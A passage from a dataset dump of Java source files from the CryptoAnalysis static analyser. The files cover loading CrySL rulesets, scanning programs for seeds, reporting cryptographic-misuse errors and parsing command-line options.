((crySLRule == null) ? 0 : crySLRule.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; ClassSpecification other = (ClassSpecification) obj; if (crySLRule == null) { if (other.crySLRule != null) return false; } else if (!crySLRule.equals(other.crySLRule)) return false; return true; } public Collection<SootMethod> getInvolvedMethods() { return fsm.getInvolvedMethods(); } public SootBasedStateMachineGraph getFSM(){ return fsm; } }
4,092
26.843537
248
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ConstraintReporter.java
package crypto.analysis; import java.util.Collection; import boomerang.jimple.Statement; import crypto.interfaces.ISLConstraint; import soot.SootMethod; public interface ConstraintReporter { public void constraintViolated(ISLConstraint con, Statement unit); void callToForbiddenMethod(ClassSpecification classSpecification, Statement callSite, SootMethod foundCall, Collection<SootMethod> convert); public void unevaluableConstraint(ISLConstraint con, Statement unit); }
481
27.352941
141
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLAnalysisListener.java
package crypto.analysis; public abstract class CrySLAnalysisListener implements ICrySLPerformanceListener, ICrySLResultsListener { }
136
21.833333
105
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLResultsReporter.java
package crypto.analysis; import java.util.ArrayList; import java.util.Collection; import java.util.List; import java.util.Set; import com.google.common.collect.Multimap; import com.google.common.collect.Table; import boomerang.BackwardQuery; import boomerang.Query; import boomerang.jimple.Statement; import boomerang.jimple.Val; import boomerang.results.ForwardBoomerangResults; import crypto.analysis.errors.AbstractError; import crypto.extractparameter.CallSiteWithParamIndex; import crypto.extractparameter.ExtractedValue; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLPredicate; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; public class CrySLResultsReporter { private List<ICrySLResultsListener> listeners; public CrySLResultsReporter() { listeners = new ArrayList<ICrySLResultsListener>(); } public boolean addReportListener(ICrySLResultsListener listener) { return listeners.add(listener); } public boolean removeReportListener(CrySLAnalysisListener listener) { return listeners.remove(listener); } public void collectedValues(AnalysisSeedWithSpecification seed, Multimap<CallSiteWithParamIndex, ExtractedValue> parametersToValues) { for (ICrySLResultsListener listen : listeners) { listen.collectedValues(seed, parametersToValues); } } public void discoveredSeed(IAnalysisSeed curr) { for (ICrySLResultsListener listen : listeners) { listen.discoveredSeed(curr); } } public void ensuredPredicates(Table<Statement, Val, Set<EnsuredCrySLPredicate>> existingPredicates, Table<Statement, IAnalysisSeed, Set<CrySLPredicate>> expectedPredicates, Table<Statement, IAnalysisSeed, Set<CrySLPredicate>> missingPredicates) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).ensuredPredicates(existingPredicates, expectedPredicates, missingPredicates); } } } public void checkedConstraints(AnalysisSeedWithSpecification analysisSeedWithSpecification, Collection<ISLConstraint> relConstraints) { for (ICrySLResultsListener listen : listeners) { listen.checkedConstraints(analysisSeedWithSpecification, relConstraints); } } public void beforeAnalysis() { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).beforeAnalysis(); } } } public void afterAnalysis() { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).afterAnalysis(); } } } public void beforeConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).beforeConstraintCheck(analysisSeedWithSpecification); } } } public void afterConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).afterConstraintCheck(analysisSeedWithSpecification); } } } public void beforePredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).beforePredicateCheck(analysisSeedWithSpecification); } } } public void afterPredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).afterPredicateCheck(analysisSeedWithSpecification); } } } public void seedStarted(IAnalysisSeed analysisSeedWithSpecification) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).seedStarted(analysisSeedWithSpecification); } } } public void boomerangQueryStarted(Query seed, BackwardQuery q) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).boomerangQueryStarted(seed, q); } } } public void boomerangQueryFinished(Query seed, BackwardQuery q) { for (ICrySLResultsListener listen : listeners) { if (listen instanceof CrySLAnalysisListener) { ((CrySLAnalysisListener) listen).boomerangQueryFinished(seed, q); } } } public void onSeedFinished(IAnalysisSeed seed, ForwardBoomerangResults<TransitionFunction> analysisResults) { for (ICrySLResultsListener listen : listeners) { listen.onSeedFinished(seed, analysisResults); } } public void onSeedTimeout(Node<Statement,Val> seed) { for (ICrySLResultsListener listen : listeners) { listen.onSeedTimeout(seed); } } public void reportError(IAnalysisSeed object, AbstractError err) { if (object != null && object instanceof AnalysisSeedWithSpecification) { ((AnalysisSeedWithSpecification) object).setSecure(false); } for (ICrySLResultsListener listen : listeners) { listen.reportError(err); } } public void onSecureObjectFound(IAnalysisSeed seed) { for (ICrySLResultsListener listen : listeners) { listen.onSecureObjectFound(seed); } } public void addProgress(int processedSeeds, int workListsize) { for (ICrySLResultsListener listen : listeners) { listen.addProgress(processedSeeds,workListsize); } } }
5,582
31.086207
247
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CrySLRulesetSelector.java
package crypto.analysis; import java.io.File; import java.util.List; import com.google.common.collect.Lists; import com.google.common.io.Files; import crypto.rules.CrySLRule; import crypto.rules.CrySLRuleReader; import crypto.cryslhandler.CrySLModelReader; import crypto.exceptions.CryptoAnalysisException; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class CrySLRulesetSelector { private static final Logger LOGGER = LoggerFactory.getLogger(CrySLRulesetSelector.class); /** * the supported rule formats */ public static enum RuleFormat { SOURCE() { public String toString() { return CrySLModelReader.cryslFileEnding; } }, } /** * current RuleSets */ public static enum Ruleset { JavaCryptographicArchitecture, BouncyCastle, Tink } /** * Creates {@link CrySLRule} objects for the given RuleSet argument and returns them as {@link List}. * * @param rulesBasePath a {@link String} path giving the location of the CrySL ruleset base folder * @param ruleFormat the file extension of the CrySL files * @param set the {@link Ruleset} for which the {@link CrySLRule} objects should be created for * @return the {@link List} with {@link CrySLRule} objects * @throws CryptoAnalysisException */ public static List<CrySLRule> makeFromRuleset(String rulesBasePath, RuleFormat ruleFormat, Ruleset... set) throws CryptoAnalysisException { List<CrySLRule> rules = Lists.newArrayList(); for (Ruleset s : set) { rules.addAll(getRulesset(rulesBasePath, ruleFormat, s)); } if (rules.isEmpty()) { LOGGER.info("No CrySL rules found for rulesset " + set); } return rules; } /** * Computes the ruleset from a string. The sting * * @param rulesetString * @return * @throws CryptoAnalysisException */ public static List<CrySLRule> makeFromRulesetString(String rulesBasePath, RuleFormat ruleFormat, String rulesetString) throws CryptoAnalysisException { String[] set = rulesetString.split(","); List<Ruleset> ruleset = Lists.newArrayList(); for (String s : set) { if (s.equalsIgnoreCase(Ruleset.JavaCryptographicArchitecture.name())) { ruleset.add(Ruleset.JavaCryptographicArchitecture); } if (s.equalsIgnoreCase(Ruleset.BouncyCastle.name())) { ruleset.add(Ruleset.BouncyCastle); } if (s.equalsIgnoreCase(Ruleset.Tink.name())) { ruleset.add(Ruleset.Tink); } } if (ruleset.isEmpty()) { throw new CryptoAnalysisException("Could not parse " + rulesetString + ". Was not able to find rulesets."); } return makeFromRuleset(rulesBasePath, ruleFormat, ruleset.toArray(new Ruleset[ruleset.size()])); } private static List<CrySLRule> getRulesset(String rulesBasePath, RuleFormat ruleFormat, Ruleset s) throws CryptoAnalysisException { List<CrySLRule> rules = Lists.newArrayList(); File[] listFiles = new File(rulesBasePath + s + "/").listFiles(); for (File file : listFiles) { CrySLRule rule = CrySLRuleReader.readFromSourceFile(file); if(rule != null) { rules.add(rule); } } if (rules.isEmpty()) { throw new CryptoAnalysisException("No CrySL rules found in " + rulesBasePath+s+"/"); } return rules; } /** * Creates and returns a single {@link CrySLRule} object for the given RuleSet argument. * * @param rulesBasePath a {@link String} path giving the location of the CrySL ruleset base folder * @param ruleFormat the file extension of the CrySL file * @param ruleset the {@link Ruleset} where the rule belongs to * @param rulename the name of the rule * @return the {@link CrySLRule} object * @throws CryptoAnalysisException */ public static CrySLRule makeSingleRule(String rulesBasePath, RuleFormat ruleFormat, Ruleset ruleset, String rulename) throws CryptoAnalysisException { File file = new File(rulesBasePath + "/" + ruleset + "/" + rulename + RuleFormat.SOURCE); if (file.exists() && file.isFile()) { CrySLRule rule = CrySLRuleReader.readFromSourceFile(file); if(rule != null) { return rule; } else { throw new CryptoAnalysisException("CrySL rule couldn't created from path " + file.getAbsolutePath()); } } else { throw new CryptoAnalysisException("The specified path is not a file " + file.getAbsolutePath()); } } /** * Creates the {@link CrySLRule} objects for the given {@link File} argument and returns them as {@link List}. * * @param resourcesPath a {@link File} with the path giving the location of the CrySL file folder * @param ruleFormat the {@link Ruleset} where the rules belongs to * @return the {@link List} with {@link CrySLRule} objects. If no rules are found it returns an empty list. * @throws CryptoAnalysisException Throws when a file could not get processed to a {@link CrySLRule} */ @Deprecated public static List<CrySLRule> makeFromPath(File resourcesPath, RuleFormat ruleFormat) throws CryptoAnalysisException { return CrySLRuleReader.readFromDirectory(resourcesPath); } /** * Creates {@link CrySLRule} objects from a Zip file and returns them as {@link List}. * * @param resourcesPath the Zip {@link File} which contains the CrySL files * @return the {@link List} with {@link CrySLRule} objects from the Zip file. * If no rules are found it returns an empty list. * @throws CryptoAnalysisException Throws when a file could not get processed to a {@link CrySLRule} */ @Deprecated public static List<CrySLRule> makeFromZip(File resourcesPath) throws CryptoAnalysisException { return CrySLRuleReader.readFromZipFile(resourcesPath); } }
5,550
34.356688
151
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CryptoScanner.java
package crypto.analysis; import java.util.Collection; import java.util.LinkedList; import java.util.List; import java.util.concurrent.TimeUnit; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import com.google.common.base.Stopwatch; import com.google.common.collect.Lists; import boomerang.Query; import boomerang.callgraph.ObservableICFG; import boomerang.debugger.Debugger; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.predicates.PredicateHandler; import crypto.rules.CrySLRule; import crypto.typestate.CrySLMethodToSootMethod; import heros.utilities.DefaultValueMap; import ideal.IDEALSeedSolver; import soot.MethodOrMethodContext; import soot.Scene; import soot.SootMethod; import soot.Unit; import soot.jimple.toolkits.callgraph.ReachableMethods; import soot.util.queue.QueueReader; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; public abstract class CryptoScanner { private final LinkedList<IAnalysisSeed> worklist = Lists.newLinkedList(); private final List<ClassSpecification> specifications = Lists.newLinkedList(); private final PredicateHandler predicateHandler = new PredicateHandler(this); private CrySLResultsReporter resultsAggregator = new CrySLResultsReporter(); private static final Logger logger = LoggerFactory.getLogger(CryptoScanner.class); private DefaultValueMap<Node<Statement, Val>, AnalysisSeedWithEnsuredPredicate> seedsWithoutSpec = new DefaultValueMap<Node<Statement, Val>, AnalysisSeedWithEnsuredPredicate>() { @Override protected AnalysisSeedWithEnsuredPredicate createItem(Node<Statement, Val> key) { return new AnalysisSeedWithEnsuredPredicate(CryptoScanner.this, key); } }; private DefaultValueMap<AnalysisSeedWithSpecification, AnalysisSeedWithSpecification> seedsWithSpec = new DefaultValueMap<AnalysisSeedWithSpecification, AnalysisSeedWithSpecification>() { @Override protected AnalysisSeedWithSpecification createItem(AnalysisSeedWithSpecification key) { return new AnalysisSeedWithSpecification(CryptoScanner.this, key.stmt(), key.var(), key.getSpec()); } }; private int solvedObject; private Stopwatch analysisWatch; public abstract ObservableICFG<Unit, SootMethod> icfg(); public CrySLResultsReporter getAnalysisListener() { return resultsAggregator; }; public CryptoScanner() { CrySLMethodToSootMethod.reset(); } public void scan(List<CrySLRule> specs) { int processedSeeds = 0; for (CrySLRule rule : specs) { specifications.add(new ClassSpecification(rule, this)); } CrySLResultsReporter listener = getAnalysisListener(); listener.beforeAnalysis(); analysisWatch = Stopwatch.createStarted(); logger.info("Searching for seeds for the analysis!"); initialize(); long elapsed = analysisWatch.elapsed(TimeUnit.SECONDS); logger.info("Discovered " + worklist.size() + " analysis seeds within " + elapsed + " seconds!"); while (!worklist.isEmpty()) { IAnalysisSeed curr = worklist.poll(); listener.discoveredSeed(curr); curr.execute(); processedSeeds++; listener.addProgress(processedSeeds,worklist.size()); estimateAnalysisTime(); } // IDebugger<TypestateDomainValue<StateNode>> debugger = debugger(); // if (debugger instanceof CryptoVizDebugger) { // CryptoVizDebugger ideVizDebugger = (CryptoVizDebugger) debugger; // ideVizDebugger.addEnsuredPredicates(this.existingPredicates); // } predicateHandler.checkPredicates(); for (AnalysisSeedWithSpecification seed : getAnalysisSeeds()) { if (seed.isSecure()) { listener.onSecureObjectFound(seed); } } listener.afterAnalysis(); elapsed = analysisWatch.elapsed(TimeUnit.SECONDS); logger.info("Static Analysis took " + elapsed + " seconds!"); // debugger().afterAnalysis(); } private void estimateAnalysisTime() { int remaining = worklist.size(); solvedObject++; if (remaining != 0) { // Duration elapsed = analysisWatch.elapsed(); // Duration estimate = elapsed.dividedBy(solvedObject); // Duration remainingTime = estimate.multipliedBy(remaining); // System.out.println(String.format("Analysis Time: %s", elapsed)); // System.out.println(String.format("Estimated Time: %s", remainingTime)); logger.info(String.format("Analyzed Objects: %s of %s", solvedObject, remaining + solvedObject)); logger.info(String.format("Percentage Completed: %s\n", ((float) Math.round((float) solvedObject * 100 / (remaining + solvedObject))) / 100)); } } private void initialize() { ReachableMethods rm = Scene.v().getReachableMethods(); QueueReader<MethodOrMethodContext> listener = rm.listener(); while (listener.hasNext()) { MethodOrMethodContext next = listener.next(); SootMethod method = next.method(); if (method == null || !method.hasActiveBody() || !method.getDeclaringClass().isApplicationClass()) { continue; } for (ClassSpecification spec : getClassSpecifictions()) { spec.invokesForbiddenMethod(method); if (spec.getRule().getClassName().equals("javax.crypto.SecretKey")) { continue; } for (Query seed : spec.getInitialSeeds(method)) { getOrCreateSeedWithSpec(new AnalysisSeedWithSpecification(this, seed.stmt(), seed.var(), spec)); } } } } public List<ClassSpecification> getClassSpecifictions() { return specifications; } protected void addToWorkList(IAnalysisSeed analysisSeedWithSpecification) { worklist.add(analysisSeedWithSpecification); } public AnalysisSeedWithEnsuredPredicate getOrCreateSeed(Node<Statement,Val> factAtStatement) { boolean addToWorklist = false; if (!seedsWithoutSpec.containsKey(factAtStatement)) addToWorklist = true; AnalysisSeedWithEnsuredPredicate seed = seedsWithoutSpec.getOrCreate(factAtStatement); if (addToWorklist) addToWorkList(seed); return seed; } public AnalysisSeedWithSpecification getOrCreateSeedWithSpec(AnalysisSeedWithSpecification factAtStatement) { boolean addToWorklist = false; if (!seedsWithSpec.containsKey(factAtStatement)) addToWorklist = true; AnalysisSeedWithSpecification seed = seedsWithSpec.getOrCreate(factAtStatement); if (addToWorklist) addToWorkList(seed); return seed; } public Debugger<TransitionFunction> debugger(IDEALSeedSolver<TransitionFunction> solver, IAnalysisSeed analyzedObject) { return new Debugger<>(); } public PredicateHandler getPredicateHandler() { return predicateHandler; } public Collection<AnalysisSeedWithSpecification> getAnalysisSeeds() { return this.seedsWithSpec.values(); } }
6,515
34.032258
188
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/CryptoScannerSettings.java
package crypto.analysis; import crypto.exceptions.CryptoAnalysisParserException; public class CryptoScannerSettings { private ControlGraph controlGraph = null; private RulesetPathType rulesetPathType = null; private String rulesetPathDir = null; private String rulesetPathZip = null; private String sootPath = ""; private String applicationPath = null; private String softwareIdentifier = ""; private String reportDirectory = null; private ReportFormat reportFormat = null; private boolean preAnalysis; private boolean visualization; private boolean providerDetectionAnalysis; public CryptoScannerSettings() { setControlGraph(ControlGraph.CHA); setRulesetPathType(RulesetPathType.NONE); setPreAnalysis(false); setVisualization(false); setProviderDetectionAnalysis(false); } public ControlGraph getControlGraph() { return controlGraph; } public void setControlGraph(ControlGraph controlGraph) { this.controlGraph = controlGraph; } public RulesetPathType getRulesetPathType() { return rulesetPathType; } public void setRulesetPathType(RulesetPathType rulesetPathType) { this.rulesetPathType = rulesetPathType; } public String getRulesetPathDir() { return rulesetPathDir; } public void setRulesetPathDir(String rulesPath) { this.rulesetPathDir = rulesPath; } public String getRulesetPathZip() { return rulesetPathZip; } public void setRulesetPathZip(String rulesetPathZip) { this.rulesetPathZip = rulesetPathZip; } public String getSootPath() { return sootPath; } public void setSootPath(String sootClasspath) { this.sootPath = sootClasspath; } public String getApplicationPath() { return applicationPath; } public void setApplicationPath(String applicationClasspath) { this.applicationPath = applicationClasspath; } public String getSoftwareIdentifier() { return softwareIdentifier; } public void setSoftwareIdentifier(String softwareIdentifier) { this.softwareIdentifier = softwareIdentifier; } public String getReportDirectory() { return reportDirectory; } public void setReportDirectory(String reportDirectory) { this.reportDirectory = reportDirectory; } public ReportFormat getReportFormat() { return reportFormat; } public void setReportFormat(ReportFormat reportFormat) { this.reportFormat = reportFormat; } public boolean isPreAnalysis() { return preAnalysis; } public void setPreAnalysis(boolean preAnalysis) { this.preAnalysis = preAnalysis; } public boolean isVisualization() { return visualization; } public void setVisualization(boolean visualization) { this.visualization = visualization; } public boolean isProviderDetectionAnalysis() { return providerDetectionAnalysis; } public void setProviderDetectionAnalysis(boolean providerDetectionAnalysis) { this.providerDetectionAnalysis = providerDetectionAnalysis; } public void parseSettingsFromCLI(String[] settings) throws CryptoAnalysisParserException { int mandatorySettings = 0; if(settings == null) { showErrorMessage(); } for(int i=0; i<settings.length; i++) { switch(settings[i].toLowerCase()) { case "--cg": parseControlGraphValue(settings[i+1]); i++; break; case "--rulesdir": if(this.rulesetPathType != RulesetPathType.NONE) { throw new CryptoAnalysisParserException("An error occured while parsing --rulesDir option. " + "There should be only one option between --rulesDir and --rulesZip."); } setRulesetPathType(RulesetPathType.DIR); setRulesetPathDir(settings[i+1]); i++; mandatorySettings++; break; case "--ruleszip": if(this.rulesetPathType != RulesetPathType.NONE) { throw new CryptoAnalysisParserException("An error occured while parsing --rulesDir option. " + "There should be only one option between --rulesDir and --rulesZip."); } setRulesetPathType(RulesetPathType.ZIP); setRulesetPathZip(settings[i+1]); mandatorySettings++; i++; break; case "--apppath": setApplicationPath(settings[i+1]); i++; mandatorySettings++; break; case "--sootpath": setSootPath(settings[i+1]); i++; break; case "--identifier": setSoftwareIdentifier(settings[i+1]); i++; break; case "--reportpath": setReportDirectory(settings[i+1]); i++; break; case "--reportformat": parseReportFormatValue(settings[i+1]); i++; break; case "--preanalysis": setPreAnalysis(true); break; case "--visualization": setVisualization(true); break; case "--providerdetection": setProviderDetectionAnalysis(true); break; default: showErrorMessage(settings[i]); } } if(mandatorySettings != 2) { showErrorMessage(); } } public enum ControlGraph { CHA, SPARK, SPARKLIB, } public enum ReportFormat { TXT, SARIF, CSV } public enum RulesetPathType { DIR, ZIP, NONE } private void parseControlGraphValue(String value) throws CryptoAnalysisParserException { String CGValue = value.toLowerCase(); switch(CGValue) { case "cha": setControlGraph(ControlGraph.CHA); break; case "spark": setControlGraph(ControlGraph.SPARK); break; case "sparklib": setControlGraph(ControlGraph.SPARKLIB); break; default: throw new CryptoAnalysisParserException("Incorrect value "+CGValue+" for --cg option. " + "Available options are: CHA, SPARK and SPARKLIB.\n"); } } private void parseReportFormatValue(String value) throws CryptoAnalysisParserException { String reportFormatValue = value.toLowerCase(); switch(reportFormatValue) { case "txt": setReportFormat(ReportFormat.TXT); break; case "sarif": setReportFormat(ReportFormat.SARIF); break; case "csv": setReportFormat(ReportFormat.CSV); break; default: throw new CryptoAnalysisParserException("Incorrect value "+reportFormatValue+" for --reportFormat option. " + "Available options are: TXT, SARIF and CSV.\n"); } } private static void showErrorMessage() throws CryptoAnalysisParserException { String errorMessage = "An error occurred while trying to parse the CLI arguments.\n" +"The default command for running CryptoAnalysis is: \n"+ "java -cp <jar_location_of_cryptoanalysis> crypto.HeadlessCryptoScanner \\\r\n"+ " --rulesDir <absolute_path_to_crysl_source_code_format_rules> \\\r\n" + " --appPath <absolute_application_path>\n"; throw new CryptoAnalysisParserException(errorMessage); } private static void showErrorMessage(String arg) throws CryptoAnalysisParserException { String errorMessage = "An error occured while trying to parse the CLI argument: "+arg+".\n" +"The default command for running CryptoAnalysis is: \n" + "java -cp <jar_location_of_cryptoanalysis> crypto.HeadlessCryptoScanner \\\r\n" + " --rulesDir <absolute_path_to_crysl_rules> \\\r\n" + " --appPath <absolute_application_path>\n" + "\nAdditional arguments that can be used are:\n" + "--cg <selection_of_call_graph_for_analysis (CHA, SPARK, SPARKLIB)>\n" + "--sootPath <absolute_path_of_whole_project>\n" + "--identifier <identifier_for_labelling_output_files>\n" + "--reportPath <directory_location_for_cognicrypt_report>\n" + "--reportFormat <format of cognicrypt_report (TXT, SARIF, CSV)>\n" + "--preanalysis (enables pre-analysis)\n" + "--visualization (enables the visualization, but also requires --reportPath option to be set)\n" + "--providerDetection (enables provider detection analysis)\n"; throw new CryptoAnalysisParserException(errorMessage); } }
7,699
27.518519
111
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/EnsuredCrySLPredicate.java
package crypto.analysis; import com.google.common.collect.Multimap; import crypto.extractparameter.CallSiteWithParamIndex; import crypto.extractparameter.ExtractedValue; import crypto.rules.CrySLPredicate; public class EnsuredCrySLPredicate { private final CrySLPredicate predicate; private final Multimap<CallSiteWithParamIndex, ExtractedValue> parametersToValues; public EnsuredCrySLPredicate(CrySLPredicate predicate, Multimap<CallSiteWithParamIndex, ExtractedValue> parametersToValues2) { this.predicate = predicate; parametersToValues = parametersToValues2; } public CrySLPredicate getPredicate(){ return predicate; } public Multimap<CallSiteWithParamIndex, ExtractedValue> getParametersToValues() { return parametersToValues; } public String toString() { return "Proved " + predicate.getPredName(); } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((predicate == null) ? 0 : predicate.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; EnsuredCrySLPredicate other = (EnsuredCrySLPredicate) obj; if (predicate == null) { if (other.predicate != null) return false; } else if (!predicate.equals(other.predicate)) return false; return true; } }
1,416
23.431034
127
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/IAnalysisSeed.java
package crypto.analysis; import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.Set; import boomerang.WeightedForwardQuery; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.predicates.PredicateHandler; import soot.SootMethod; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; public abstract class IAnalysisSeed extends WeightedForwardQuery<TransitionFunction> { protected final CryptoScanner cryptoScanner; protected final PredicateHandler predicateHandler; private String objectId; public IAnalysisSeed(CryptoScanner scanner, Statement stmt, Val fact, TransitionFunction func){ super(stmt,fact, func); this.cryptoScanner = scanner; this.predicateHandler = scanner.getPredicateHandler(); } abstract void execute(); public SootMethod getMethod(){ return stmt().getMethod(); } public String getObjectId() { if(objectId == null) { MessageDigest md; try { md = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); return null; } this.objectId = new BigInteger(1, md.digest(this.toString().getBytes())).toString(16); } return this.objectId; } public abstract Set<Node<Statement, Val>> getDataFlowPath(); }
1,339
25.27451
96
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ICrySLPerformanceListener.java
package crypto.analysis; import java.util.Set; import com.google.common.collect.Table; import boomerang.BackwardQuery; import boomerang.Query; import boomerang.jimple.Statement; import boomerang.jimple.Val; import crypto.rules.CrySLPredicate; public interface ICrySLPerformanceListener { void beforeAnalysis(); void afterAnalysis(); void beforeConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification); void afterConstraintCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification); void beforePredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification); void afterPredicateCheck(AnalysisSeedWithSpecification analysisSeedWithSpecification); void seedStarted(IAnalysisSeed analysisSeedWithSpecification); void boomerangQueryStarted(Query seed, BackwardQuery q); void boomerangQueryFinished(Query seed, BackwardQuery q); void ensuredPredicates(Table<Statement, Val, Set<EnsuredCrySLPredicate>> existingPredicates, Table<Statement, IAnalysisSeed, Set<CrySLPredicate>> expectedPredicates, Table<Statement, IAnalysisSeed, Set<CrySLPredicate>> missingPredicates); }
1,131
30.444444
239
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ICrySLResultsListener.java
package crypto.analysis; import java.util.Collection; import com.google.common.collect.Multimap; import boomerang.jimple.Statement; import boomerang.jimple.Val; import boomerang.results.ForwardBoomerangResults; import crypto.analysis.errors.AbstractError; import crypto.extractparameter.CallSiteWithParamIndex; import crypto.extractparameter.ExtractedValue; import crypto.interfaces.ISLConstraint; import sync.pds.solver.nodes.Node; import typestate.TransitionFunction; public interface ICrySLResultsListener { void reportError(AbstractError error); void checkedConstraints(AnalysisSeedWithSpecification analysisSeedWithSpecification, Collection<ISLConstraint> relConstraints); void onSeedTimeout(Node<Statement,Val> seed); void onSeedFinished(IAnalysisSeed seed, ForwardBoomerangResults<TransitionFunction> analysisResults); void collectedValues(AnalysisSeedWithSpecification seed, Multimap<CallSiteWithParamIndex, ExtractedValue> collectedValues); void discoveredSeed(IAnalysisSeed curr); void onSecureObjectFound(IAnalysisSeed analysisObject); void addProgress(int processedSeeds, int workListsize); }
1,129
30.388889
128
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/RequiredCrySLPredicate.java
package crypto.analysis; import java.util.Set; import boomerang.jimple.Statement; import crypto.interfaces.ISLConstraint; import crypto.rules.CrySLPredicate; public class RequiredCrySLPredicate implements ISLConstraint { private static final long serialVersionUID = 9111353268603202392L; private final CrySLPredicate predicate; private final Statement stmt; public RequiredCrySLPredicate(CrySLPredicate predicate, Statement stmt) { this.predicate = predicate; this.stmt = stmt; } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((predicate == null) ? 0 : predicate.hashCode()); result = prime * result + ((stmt == null) ? 0 : stmt.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; RequiredCrySLPredicate other = (RequiredCrySLPredicate) obj; if (predicate == null) { if (other.predicate != null) return false; } else if (!predicate.equals(other.predicate)) return false; if (stmt == null) { if (other.stmt != null) return false; } else if (!stmt.equals(other.stmt)) return false; return true; } public CrySLPredicate getPred() { return predicate; } public Statement getLocation() { return stmt; } @Override public String toString() { // TODO Auto-generated method stub return "misses " + predicate + " @ " + stmt.toString(); } @Override public String getName() { return predicate.getName(); } @Override public Set<String> getInvolvedVarNames() { return predicate.getInvolvedVarNames(); } @Override public void setLocation(Statement location) { throw new UnsupportedOperationException(); } }
1,790
21.670886
77
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/ResultsHandler.java
package crypto.analysis; import boomerang.results.ForwardBoomerangResults; import typestate.TransitionFunction; public interface ResultsHandler{ void done(ForwardBoomerangResults<TransitionFunction> results); }
213
25.75
64
java
CryptoAnalysis
CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/analysis/errors/AbstractError.java
package crypto.analysis.errors; import boomerang.jimple.Statement; import crypto.rules.CrySLRule; import soot.jimple.internal.JAssignStmt; import soot.jimple.internal.JReturnStmt; import soot.jimple.internal.JReturnVoidStmt; public abstract class AbstractError implements IError{ private Statement errorLocation; private CrySLRule rule; private final String outerMethod; private final String invokeMethod; private final String declaringClass; public AbstractError(Statement errorLocation, CrySLRule rule) { this.errorLocation = errorLocation; this.rule = rule; this.outerMethod = errorLocation.getMethod().getSignature(); this.declaringClass = errorLocation.getMethod().getDeclaringClass().toString(); if(errorLocation.getUnit().get().containsInvokeExpr()) { this.invokeMethod = errorLocation.getUnit().get().getInvokeExpr().getMethod().toString(); } else if(errorLocation.getUnit().get() instanceof JReturnStmt || errorLocation.getUnit().get() instanceof JReturnVoidStmt) { this.invokeMethod = errorLocation.getUnit().get().toString(); } else { this.invokeMethod = ((JAssignStmt) errorLocation.getUnit().get()).getLeftOp().toString(); } } public Statement getErrorLocation() { return errorLocation; } public CrySLRule getRule() { return rule; } public abstract String toErrorMarkerString(); public String toString() { return toErrorMarkerString(); } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((declaringClass == null) ? 0 : declaringClass.hashCode()); result = prime * result + ((invokeMethod == null) ? 0 : invokeMethod.hashCode()); result = prime * result + ((outerMethod == null) ? 0 : outerMethod.hashCode()); result = prime * result + ((rule == null) ? 0 : rule.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; AbstractError other = (AbstractError) obj; if (declaringClass == null) { if (other.declaringClass != null) return false; } else if 